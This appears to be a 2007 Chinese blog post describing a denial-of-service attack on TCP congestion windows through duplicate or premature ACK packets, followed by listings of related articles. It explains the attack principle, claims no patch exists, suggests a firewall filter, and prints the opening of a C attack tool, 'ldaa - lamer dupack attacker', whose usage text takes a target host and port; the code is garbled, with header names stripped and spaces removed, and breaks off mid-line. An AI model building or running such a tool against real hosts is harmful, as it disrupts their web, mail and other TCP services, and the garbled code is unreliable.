TCP协议堵塞窗口算法攻击

原创 2007年10月14日 10:42:00

TCP协议堵塞窗口算法攻击
TCP协议层次关于堵塞窗口的算法存在容易受攻击的漏洞
这种攻击是基于协议层次的,因此任何实现tcp的系统都会受到影响。

危害性:

    通过制造堵塞,能够使受攻击的主机不能与任何指定的主机进行正常的tcp层次的数据传输。这类攻击的后果将是使所有的TCP服务(包括web、mail、FTP等)都会产生拒绝服务。

攻击的方法有两到三种,没有任何补丁可以用来防止这种攻击,除非在防火墙设置防范或者更改TCP协议头部的结构.

理论基础:

什么是ACK_SEQ

ACK_SEQ标志数据包被正确的接受了。

ACK_SEQ是接受数据包的SEQ和接受的数据包的净荷长度.

由于push标志位的存在可以任意指定seq大小.

---攻击原理---

1,重复发送数据包,任何ip数据包都有可能被重复的发送到同一个接受端。
通过构造重复的tcp数据包,每个数据包拥有不同的ACK,能够造成数据窗口堵塞.

2)预先判断发送方的数据长度,在数据没有真正到达接受方之前开始发送返回ACK数据包。从而造成堵塞。

解决方案:
在防火墙端进行设置,对非紧急数据类型的数据比如TELNET以外的普通TCP连接,检查是否存在push标志。进行过滤。

攻击方法:
1,重复发送数据包,任何ip数据包都有可能被重复的发送到同一个接受端
通过构造重复的tcp数据包,每个数据包拥有不同的ACK,能够造成数据窗口堵塞.
攻击代码
############################

#include
#include
#include
#include
#include
#include

#include
#include
#include
#include
#include
#include
#include
#include

#include
#include

externinterrno;
staticstructsockaddr_insin;
staticintss;

voidsend_dupack(void*,unsignedchar);

#defineMAS128/*MaxAckSize*/
/*
#defineBOLD"/033[1;1m"
#defineN"/033[0m"
*/
intmain(intargc,char**argv)
{
structifreqifr;/*interfacequerystruct*/
intsfd,nt,nd,off,hdr=1;/*socket,numbertimetoapplydup,
*numberofdup,datalinkoffset*/
unsignedintdaddr;/*destaddrtocheck*/
unsignedshortport;/*destporttocheck*/

printf("ldaa-"
/*BOLD*/"lamerdupackattacker"/*N*/
"-byvecna@s0ftpj.org/n");

if(argc!=6)
{
fprintf(stderr,
"usage:shostportifacen.dupn.times/n"/
"s:/tisldaathisprogram.../n"/
"host:/t/thosttoattack,onlyIP"/
"addessaccepted,notimplementedresolv/n"/
"port:/t/tdestinationporttoattack/n"/
"iface:/t/tinterfaceusedforreachhost/n"/
"n.dup:/t/tnumberofackduplication/n"/
"times:/t/tnumberoftimetoapplyduplication/n",
argv[0],argv[0]
);
err(EINVAL,"nosuchargument");
}

memset(

 

TCP阻塞控制详解

TCP阻塞控制是TCP实现可靠传输的其中一个手段,本文重点讨论一下阻塞控制的原理和几个实现的算法。 为什么会产生TCP的阻塞呢,其实就是发送端发送的报文速度要接收端大。这样就会造成网络阻塞的...
  • a497006686
  • a497006686
  • 2016-08-28 16:16:01
  • 2309

TCP窗口机制

  • arvin_0ne
  • arvin_0ne
  • 2017-03-08 09:41:11
  • 323

TCP网络拥堵算法

TCP网络拥堵算法 这个算法解释了网络传输为什么一开始快,后面变慢了。 TCP传输的速度基本是这样的: 横坐标是传输次数,纵坐标是“拥塞窗口”数。 A-B:慢开始段。先发几个包...
  • u011486491
  • u011486491
  • 2017-07-12 10:52:41
  • 808

TCP阻塞控制

TCP  阻塞控制            我们知道, 网络层的IP协议是不可靠的,没有提供可靠数据传输的机制,而传输层的TCP却提供了可靠数据传输的机制,依靠错误检测、超时、重传、流量控制和阻塞控制...
  • liaoxr
  • liaoxr
  • 2011-11-27 00:55:53
  • 4498

针对TCP协议的攻击与检测、预防方法

Land 攻击 通过发送源地址和目的地址相同,源端口和目的端口相同的ICMP echo 报文或TCP syn 请求报文,可以导致主机不断地向自己发送报文,最终导致系统崩溃。只要检查报文的源地址和目的...
  • fjhyy
  • fjhyy
  • 2014-05-15 17:06:36
  • 2130

TCP协议的学习(三)TCP协议三次握手及攻击

三次握手 为什么不是两次握手 DOS攻击 DDOS攻击 DROS攻击
  • qq_34501940
  • qq_34501940
  • 2016-04-10 17:36:37
  • 4476

TCP/IP阻塞控制机制

慢启动SS,加性增AIMD算法 当出现丢包时,减少拥塞窗口CWin长度降低发送速率,在一般情况下谨慎增加CWin长度。 阈值:帮助TCP判断何时进入阻塞避免区域,表示从慢启动阶段进入阻塞阶段的阈值...
  • cjvs9k
  • cjvs9k
  • 2015-09-18 10:30:01
  • 672

tcp服务器被攻击的几种方式

自己毕业就接触
  • yangyangye
  • yangyangye
  • 2014-10-10 14:20:09
  • 2048

TCP-IP详解:滑动窗口(Sliding Window)

从传输数据来讲,TCP/UDP以及其他协议都可以完成数据的传输,从一端传输到另外一端,TCP比较出众的一点就是提供一个可靠的,流控的数据传输,所以实现起来要比其他协议复杂的多,先来看下这两个修饰词的意...
  • wdscq1234
  • wdscq1234
  • 2016-09-07 22:32:23
  • 21351

TCP/IP协议攻击实验1

TCP/IP协议攻击实验1实验环境: Linux ubuntu 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_...
  • sinat_26599509
  • sinat_26599509
  • 2016-05-18 11:20:54
  • 11924
收藏助手
不良信息举报
您举报文章:TCP协议堵塞窗口算法攻击
举报原因:
原因补充:

(最多只允许输入30个字)